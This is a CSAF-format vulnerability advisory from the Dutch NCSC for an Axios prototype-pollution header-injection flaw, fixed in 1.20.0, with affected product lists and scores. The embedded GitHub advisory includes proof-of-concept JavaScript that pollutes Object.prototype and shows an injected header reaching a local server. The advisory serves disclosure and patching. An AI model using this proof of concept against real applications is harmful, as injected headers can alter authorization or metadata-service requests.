{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-101900", "tracking": { "current_release_date": "2026-10-04T00:44:41.391229Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-101900", "initial_release_date": "2026-09-28T17:38:36.418979Z", "revision_history": [ { "date": "2026-09-28T17:38:36.418979Z", "number": "1", "summary": "CVSS created.| CWES created (3).| Products created (1).| References created (4).| Description created for source.| Unknown change." }, { "date": "2026-09-28T17:38:37.458894Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-09-28T18:28:19.949828Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-09-28T18:28:29.731573Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-09-28T18:38:41.380363Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-09-29T06:16:23.794644Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (20).| References created (6).| CWES updated (1)." }, { "date": "2026-09-29T12:29:25.472443Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (5).| Product Identifiers created (1).| References created (6).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-09-29T12:29:31.517376Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-09-29T12:53:08.273066Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-09-29T16:12:57.304107Z", "number": "10", "summary": "EPSS created.| Unknown change." }, { "date": "2026-09-29T16:13:03.052139Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-09-30T15:40:02.963432Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)." }, { "date": "2026-09-30T15:40:12.554589Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-10-01T02:29:32.217997Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-10-04T00:44:31.665309Z", "number": "15", "summary": "Products connected (1).| Products removed (1)." }, { "date": "2026-10-04T00:44:32.699689Z", "number": "16", "summary": "NCSC Score updated." } ], "status": "interim", "version": "16" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=1.12.0|<1.20.0", "product": { "name": "vers:unknown/>=1.12.0|<1.20.0", "product_id": "CSAFPID-9482816" } }, { "category": "product_version_range", "name": "vers:unknown/v1.12.0", "product": { "name": "vers:unknown/v1.12.0", "product_id": "CSAFPID-5588483" } }, { "category": "product_version_range", "name": "vers:unknown/v1.12.1", "product": { "name": "vers:unknown/v1.12.1", "product_id": "CSAFPID-5588484" } }, { "category": "product_version_range", "name": "vers:unknown/v1.12.2", "product": { "name": "vers:unknown/v1.12.2", "product_id": "CSAFPID-5588485" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.0", "product": { "name": "vers:unknown/v1.13.0", "product_id": "CSAFPID-5588486" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.1", "product": { "name": "vers:unknown/v1.13.1", "product_id": "CSAFPID-5588487" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.2", "product": { "name": "vers:unknown/v1.13.2", "product_id": "CSAFPID-5588488" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.3", "product": { "name": "vers:unknown/v1.13.3", "product_id": "CSAFPID-5588489" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.4", "product": { "name": "vers:unknown/v1.13.4", "product_id": "CSAFPID-5588490" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.5", "product": { "name": "vers:unknown/v1.13.5", "product_id": "CSAFPID-8580145" } }, { "category": "product_version_range", "name": "vers:unknown/v1.13.6", "product": { "name": "vers:unknown/v1.13.6", "product_id": "CSAFPID-8580144" } }, { "category": "product_version_range", "name": "vers:unknown/v1.14.0", "product": { "name": "vers:unknown/v1.14.0", "product_id": "CSAFPID-8580143" } }, { "category": "product_version_range", "name": "vers:unknown/v1.15.0", "product": { "name": "vers:unknown/v1.15.0", "product_id": "CSAFPID-8580142" } }, { "category": "product_version_range", "name": "vers:unknown/v1.15.1", "product": { "name": "vers:unknown/v1.15.1", "product_id": "CSAFPID-8580141" } }, { "category": "product_version_range", "name": "vers:unknown/v1.15.2", "product": { "name": "vers:unknown/v1.15.2", "product_id": "CSAFPID-8583063" } }, { "category": "product_version_range", "name": "vers:unknown/v1.16.0", "product": { "name": "vers:unknown/v1.16.0", "product_id": "CSAFPID-8925641" } }, { "category": "product_version_range", "name": "vers:unknown/v1.16.1", "product": { "name": "vers:unknown/v1.16.1", "product_id": "CSAFPID-8925639" } }, { "category": "product_version_range", "name": "vers:unknown/v1.17.0", "product": { "name": "vers:unknown/v1.17.0", "product_id": "CSAFPID-8925638" } }, { "category": "product_version_range", "name": "vers:unknown/v1.18.0", "product": { "name": "vers:unknown/v1.18.0", "product_id": "CSAFPID-9484963" } }, { "category": "product_version_range", "name": "vers:unknown/v1.18.1", "product": { "name": "vers:unknown/v1.18.1", "product_id": "CSAFPID-9484962" } }, { "category": "product_version_range", "name": "vers:unknown/v1.19.0", "product": { "name": "vers:unknown/v1.19.0", "product_id": "CSAFPID-9484961" } } ], "category": "product_name", "name": "Axios" } ], "category": "vendor", "name": "Axios" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-6014972", "product_identification_helper": { "cpe": "cpe:/a:redhat:hummingbird:1" } } } ], "category": "product_name", "name": "Red Hat Hardened Images" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8902830" } } ], "category": "product_name", "name": "grafana12.4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8902831" } } ], "category": "product_name", "name": "grafana13.1" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-9053231" } } ], "category": "product_name", "name": "grafana13.2" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8476867" } } ], "category": "product_name", "name": "jaeger" } ], "category": "product_family", "name": "Red Hat Hardened Images" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/*", "product": { "name": "vers:deb/*", "product_id": "CSAFPID-1409455" } } ], "category": "product_name", "name": "node-axios" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-101900", "cwe": { "id": "CWE-1321", "name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')" }, "notes": [ { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-101900" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-101900" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101900.json?alt=media" }, { "category": "description", "text": "A flaw was found in Axios. This vulnerability allows an attacker to manipulate outbound network traffic by injecting arbitrary HTTP (Hypertext Transfer Protocol) headers. In environments where an attacker can exploit a separate prototype pollution flaw to modify shared object properties, the Axios fetch adapter improperly processes inherited configuration methods on request data. Consequently, an attacker can tamper with outgoing requests, potentially bypassing security controls, altering authentication tokens, or modifying backend service behavior.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-101900" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-101900" }, { "category": "description", "text": "## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n headers.setContentType(undefined);\n } else if (utils.isFunction(data.getHeaders)) {\n setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });\n\nawait axios.post(url, ['a', 'b'], { adapter: 'fetch' });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n
\n

Original report

\n \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: 'fetch'`.\n- A separate prototype-pollution primitive can write:\n - `Object.prototype[Symbol.toStringTag] = 'FormData'`\n - `Object.prototype.append = function () {}`\n - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) => new Promise((resolve) => {\n const server = http.createServer((req, res) => {\n let body = '';\n req.on('data', (chunk) => (body += chunk));\n req.on('end', () => handler(req, res, body));\n });\n server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst stop = (server) => new Promise((resolve) => server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) => {\n hits.push({ headers: req.headers, body });\n res.setHeader('Content-Type', 'application/json');\n res.end('{\"ok\":true}');\n});\n\ntry {\n Object.prototype[tag] = 'FormData';\n Object.prototype.append = function () {};\n Object.prototype.getHeaders = () => {\n const headers = Object.create(null);\n headers['X-Poisoned'] = 'yes';\n return headers;\n };\n\n await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {\n adapter: 'fetch',\n timeout: 3000\n });\n\n console.log(hits[0]);\n} finally {\n delete Object.prototype[tag];\n delete Object.prototype.append;\n delete Object.prototype.getHeaders;\n await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n \"headers\": {\n \"x-poisoned\": \"yes\",\n \"content-type\": \"text/plain;charset=UTF-8\",\n \"content-length\": \"3\"\n },\n \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n
\n\n---", "title": "github - https://github.com/advisories/GHSA-4hqw-qxg8-jxx2" }, { "category": "other", "text": "0.00546", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "6.9", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.5", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd, Is related to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')), There is cwe data available from source Github, The value of the most recent CVSS (V3) score", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-9482816", "CSAFPID-5588483", "CSAFPID-5588484", "CSAFPID-5588485", "CSAFPID-5588486", "CSAFPID-5588487", "CSAFPID-5588488", "CSAFPID-5588489", "CSAFPID-5588490", "CSAFPID-8580141", "CSAFPID-8580142", "CSAFPID-8580143", "CSAFPID-8580144", "CSAFPID-8580145", "CSAFPID-8583063", "CSAFPID-8925638", "CSAFPID-8925639", "CSAFPID-8925641", "CSAFPID-9484961", "CSAFPID-9484962", "CSAFPID-9484963", "CSAFPID-6014972", "CSAFPID-8902830", "CSAFPID-8902831", "CSAFPID-9053231" ], "known_not_affected": [ "CSAFPID-8476867", "CSAFPID-1409455" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101900" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-101900" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101900" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101900.json?alt=media" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-101900" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-101900" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-4hqw-qxg8-jxx2" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/pull/11141" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/releases/tag/v1.20.0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101900.json" }, { "category": "external", "summary": "Reference - github; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101900" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101900" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-4hqw-qxg8-jxx2" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5588483", "CSAFPID-5588484", "CSAFPID-5588485", "CSAFPID-5588486", "CSAFPID-5588487", "CSAFPID-5588488", "CSAFPID-5588489", "CSAFPID-5588490", "CSAFPID-6014972", "CSAFPID-8580141", "CSAFPID-8580142", "CSAFPID-8580143", "CSAFPID-8580144", "CSAFPID-8580145", "CSAFPID-8583063", "CSAFPID-8902830", "CSAFPID-8902831", "CSAFPID-8925638", "CSAFPID-8925639", "CSAFPID-8925641", "CSAFPID-9053231", "CSAFPID-9482816", "CSAFPID-9484961", "CSAFPID-9484962", "CSAFPID-9484963" ] } ], "title": "CVE-2026-101900" } ] }